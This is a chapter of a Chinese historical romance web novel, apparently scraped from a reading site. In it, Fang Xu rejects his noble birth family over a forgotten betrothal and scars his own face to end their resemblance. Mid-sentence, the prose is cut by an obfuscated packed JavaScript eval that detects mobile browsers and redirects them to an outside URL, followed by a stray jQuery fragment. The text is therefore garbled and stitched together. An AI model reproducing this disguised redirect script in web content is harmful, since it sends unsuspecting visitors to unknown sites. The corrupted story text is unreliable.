70. 第 70 章
作品:《世子他蓄谋已久》 贾安平端盏的手猛地一顿,酒液在杯盏中晃荡,他抬起头,看到了站在面前的年轻人。
寒风扬起他的衣袂,他面容冷峻如霜,压抑着将要喷薄而出的质问。
贾知衡一愣,随即眉头紧锁,困惑地看向父亲,又转向方栩:“什么婚约?你在说什么?”
方栩看着他那张与自己几乎一模一样的脸,同样挺拔的鼻梁,同样深邃的眼窝,他忽然觉得荒谬至极。
二十五年,他从未见过这张脸。
二十五年,他独自在尘世里滚打,刀口舔血。而这个人,与他流着相同的血,却活在完全不同的世界里,说不羡慕是不可能的。
父亲方石交不起徭役被绑去做苦工时,母亲方欣日夜操劳纺织哭瞎了眼时,他在善堂吃不饱穿不暖时,养父重病卧床托孤时,阿年重伤不治时,他总是想,若是他还有一个兄弟就好了。
若再有一个兄弟,父亲就不用这么劳累,母亲能多一个依靠,养父和阿年可以多一个亲人。
可如今血脉至亲就站在眼前,他们站在一起就像在照镜子,方栩心中却只有悲凉。
如果再早十年就好了,父母就不用葬身火海,方家村的无辜村民也不会因此死伤大半。哪怕再早一年,半年也好,至少阿年不用跟着他颠沛流离,还要承受剜心之痛。
看着这张与自己酷似的面容,方栩冷声道:“你不是心知肚明吗?”
贾知衡脸色一变,猛地起身,酒意顿时散了大半:“胡说说,我根本不知道什么婚约。”
“呵,”方栩冷笑:“你与许大夫的婚约,你敢说你不知道?”
“放屁!我在北疆待了十余年,今年才回京城,也是第一次来江东,如何与许大夫订亲?”贾知衡也气笑了,一拍桌子反问道。
尘封已久的遥远记忆忽然涌上脑海,贾安平制止了儿子的动作。
婚约。
这个尘封了二十余年的词,像一枚深海的石子被人打捞上来,湿淋淋的,还带着苔痕。
他的思绪飘远,想起了那年,北疆的春天来得格外晚,四月的风里还裹着雪。那时军中时疫横行,将士病倒过半,军医束手无策。
是许萧华孤身一人,翻山越岭,跋涉千里赶来,在兵营里一待就是三个月。
也是那时候,明昭与她一见如故。
他的明昭,荣昭郡主,从小在锦绣堆里长大,但只喜欢舞刀弄枪,从不嫌军营腌臜,不嫌伤兵血腥。北疆铁骑不来犯时,她便跟着许萧华学包扎,学煎药,辨认几味简单的药材。
许萧华寡言,她却总有说不完的话。两人常常坐在营帐外的石头上,一个絮絮地说,一个静静地听。
有一天夜里,明昭忽然跟他说:“安平,我与许大夫定了桩亲事。”
他吓了一跳,明昭却笑着,眼中闪烁着狡黠的光芒。她说她寻了一块罕见的玉石,雕刻了她的皇家郡主印信,要交于许大度作为信物。
他当时只当是妇人家一时兴起,笑着应了,并未放在心上。军务繁忙,战事吃紧,谁有闲心去想二十年后的儿女婚事?
后来便是那场大战,中野失踪,明昭一病不起。
许萧华是君子,知晓中野失踪后,她再未提过那桩只交换了信物的婚约。明昭缠绵病榻时,她也曾来诊脉,却只字不提儿女之事。
再后来,许萧华也去了。
那纸婚书,大约也成了明昭遗物箱底无人知晓的陈年旧纸。
贾安平回过神,看着方栩:“你……如何知道此事?”
方栩冷笑。
“不是所有人都和你们一样,人走茶凉,恩义皆忘。”
贾安平张了张嘴,想辩驳,想解释,却发现自己无言以对。只是中野,他究竟是如何知道的?
他想起了一个人。
若这桩婚约还有人记得,那只能是许擢柯。许萧华生前最倚重的大弟子,许擢青的师兄。
贾安平还未及开口,贾知衡已经坐不住了。他面色铁青地问父亲:“父亲,他说的是真的?我和许大夫真的有婚约?”
贾安平沉默着。
可沉默本身就是答案。
贾知衡像是被人当头泼了盆冰水,愣在原地,半晌才找回声音,语无伦次道:“这,这怎么可能?我从未见过什么婚书,若这婚约是真的,那我……”
“你有心悦之人,对吧?”方栩替他说完了后半句。
贾知衡抬眼,惊愕地看着他。
“你与她两情相悦,此时冒出个莫名其妙的婚约,你的心上人怎么办?”
“所以,这婚约从未存在过。”
方栩盯着他,那张与自己一模一样的脸近在咫尺。
“没有正式定亲,没有六礼之仪,无人知晓的信笺。只要你们不提,这桩婚约,就从未存在过。”
贾安平开口道:“老夫答应你,回京之后,定会将那婚书寻出来亲手焚毁。”
方栩退后一步,拱手道:“多谢镇国公成全。”
见他每一句话都在划清界限,每一句话都刺得父亲的背更佝偻了,贾知衡瞪着方栩,扯出一个扭曲的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168034|194931||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑:“我明白了,你这么着急是怕许大夫嫁给我,是怕自己配不上她?”
方栩没有应声。
贾知衡却像抓住了什么把柄,继续有恃无恐道:“你以为毁了婚书,她就是你的人了?你一个护院,无财无势,凭什么娶她?她若想嫁高门,那陈百万不比你有钱百倍?她若想攀权贵,我好歹也是镇国公世子——”
“知衡!”贾安平厉声喝止。
已经晚了。
方栩从腰间抽出一把匕首,刃身窄而薄,在月色下泛着冰冷的光。那是他走镖时防身用的,砍过荆棘,挡过劫匪,也从雪地里剖过冻死的野兔。
他握着匕首,朝贾知衡走去。
贾知衡虽并不惧怕与他交手,但他不想在父亲面前上演兄弟阋墙的戏码。
“你要做什么?你疯了?”
方栩没有理会他。
离贾知衡不过三尺,他举起匕首,刀尖向内,抵在了自己的眉眼旁。
刀刃切入皮肉。
眉骨与太阳穴之间,血几乎是立刻涌了出来。鲜红滚烫的血蜿蜒而下,流过眼角,滑过面颊,一滴,一滴,染红了衣襟。
狰狞的伤口横贯了他的右眉,从眉骨斜斜划至太阳穴下方。
贾安平伸出的手僵在半空,贾知衡也瞪大了眼睛。
方栩垂着眼,擦去匕首上的血迹。
骨血是如此神奇的东西,能组装起两套看似毫无二致的骨骼,撑起两幅流淌着相同血液的身躯,却又是截然不同的两个人。
“现在我们不像了。”
他听见自己的声音说:“我知道自己是谁,从哪里来,要往哪里去。阿年问我,阿兄,别人都有爹娘,我们的爹娘呢?我说,爹娘死了,阿兄就是你的爹娘。”
他看向贾安平,那双眼中没有泪,只有一片干涸的血色。
“明中野,荣昭郡主之子,镇国公之子。可那又怎样?我从没做过你们的儿子,也从不需要这个身份。”
“这一刀,以血为誓。”
“我与镇国公府,从无回忆,往后也不必再有。你们走你们的阳关道,我过我的独木桥。今日之后,我与你们再无瓜葛,不要再来打扰我们俩。”
他将匕首收回鞘中,转身离去。
“中野,你这是何苦?”
方栩没有回头,他翻身跃上围墙,足尖轻点,转眼消失在夜幕中。
贾安平站在原地,仿佛被抽走了全身的力气。他望着那片吞噬了儿子的夜色喃喃道:“中野……昭儿,我又把他弄丢了。”

